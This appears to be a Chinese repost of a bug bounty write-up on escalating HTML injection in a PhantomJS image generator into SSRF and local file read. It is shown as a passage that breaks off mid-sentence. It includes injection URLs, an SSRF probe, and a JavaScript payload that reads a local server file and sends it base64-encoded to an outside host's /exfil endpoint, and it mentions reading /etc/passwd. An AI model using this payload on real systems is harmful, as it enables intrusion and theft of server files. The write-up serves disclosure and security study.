骚年,看我如何把 PhantomJS 图片的 XSS 升级成 SSRF/LFR

这篇文章实在是太好了,我看了好几篇,所以极力推荐给大家


原文地址  
http://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/
译文地址
https://xianzhi.aliyun.com/forum/read/1808.html
转载至
http://paper.seebug.org/344/



骚年,看我如何把 PhantomJS 图片的 XSS 升级成 SSRF/LFR_第1张图片

 

在一次赏金程序中,我碰见这么一个请求,用户输入然后生成图片供下载。过了一会儿,我便把图片内部的  XSS 升级成服务端的任意文件读取漏洞。因为程序的隐私性,所以我将尽力抹掉敏感信息。原始请求如下:

[AppleScript]  纯文本查看 复制代码
?
1
https : / / website / download?background = file .jpg & author = Brett & header = Test & text = & width = 500 & height = 500




骚年,看我如何把 PhantomJS 图片的 XSS 升级成 SSRF/LFR_第2张图片





最开始我执着于  background 参数,因为 background 的值是文件名,我认为这个参数看上去是最有意思的。接着在对参数进行了混淆后,我发现 header 参数存在 HTML 注入。因为之前阅读过 pdf 中 xss 引起严重漏洞的笔记,所以我决定在这一点上进行深入。
请求:
[AppleScript]  纯文本查看 复制代码
?
1
https : / / website / download?background = file .jpg & author = Brett & header = " > < u > test & text = & width = 500 & height = 500

 

返回:

 

骚年,看我如何把 PhantomJS 图片的 XSS 升级成 SSRF/LFR_第3张图片




接着我尝试了任意  HTML 元素,结果非常有意思:基本上所有的 html 元素(iframe、img、script等)都被浏览器解析了。为了获取更多关于是什么在处理 html 的信息,我决定用自己的服务器作为 ssrf 目标。



[AppleScript]  纯文本查看 复制代码
?
1
https : / / website / download?background = file .jpg & author = Brett & header = < iframe src = https : / / xss.buer.haus / ssrftest > < / iframe > & text = & width = 500 & height = 500



骚年,看我如何把 PhantomJS 图片的 XSS 升级成 SSRF/LFR_第4张图片


我自己的服务器端日志记录如下:
[AppleScript]  纯文本查看 复制代码
?
1
[ 25 / Jun / 2017 : 20 : 31 : 49 -0400 ] "GET /ssrftest HTTP/1.1" 404 548 "-" "Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1"



从上面的记录可知,请求字段中的  UA 字段表明了 HTML 页面的加载和图像的生成是由无 UA 头浏览器客户端 PhantomJS 来完成的。在 Phantom 方面,我是颇有经验的,因为 CTF 比赛中经常能碰到,同时我在自己的网络扫描器使用 Phantom 完成网站截图功能。知道了是 PhantomJS 处理 HTML ,这对于漏洞利用来说这是个好消息,因为这解释了我之前尝试利用漏洞时遇到的一些问题。
 
我遇到的第一个问题是基本的  payload 总是不能执行。比如说 ')" / >

 

test.js
[AppleScript]  纯文本查看 复制代码
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
function reqListener ( ) { 
 
     var encoded = encodeURI ( this.responseText ) ;
 
     var b 64 = btoa ( this.responseText ) ;
 
     var raw = this.responseText;
 
     document . write ( ' < iframe src = "https://xss.buer.haus/exfil?data='+b64+'" > < / iframe > ' ) ;
 
}
 
var oReq = new XMLHttpRequest ( )
 
oReq.addEventListener ( "load" , reqListener )
 
oReq. open ( "GET" , "file:///var/task/[redacted].html" )
 
oReq.send ( )



不披露些敏感数据是无法展示战果的,下面这张图仅是你在访问日志里看到的数据。

 

骚年,看我如何把 PhantomJS 图片的 XSS 升级成 SSRF/LFR_第7张图片

 

现在在file:// 环境下,可以通过带外  JavaScript 和 XHR 来读取任意文件来。所以我用脚本再次读取/etc/passwd去检测iframe是否生效。
 
啊哈哈!当  PhantomJS 由于某种原因加载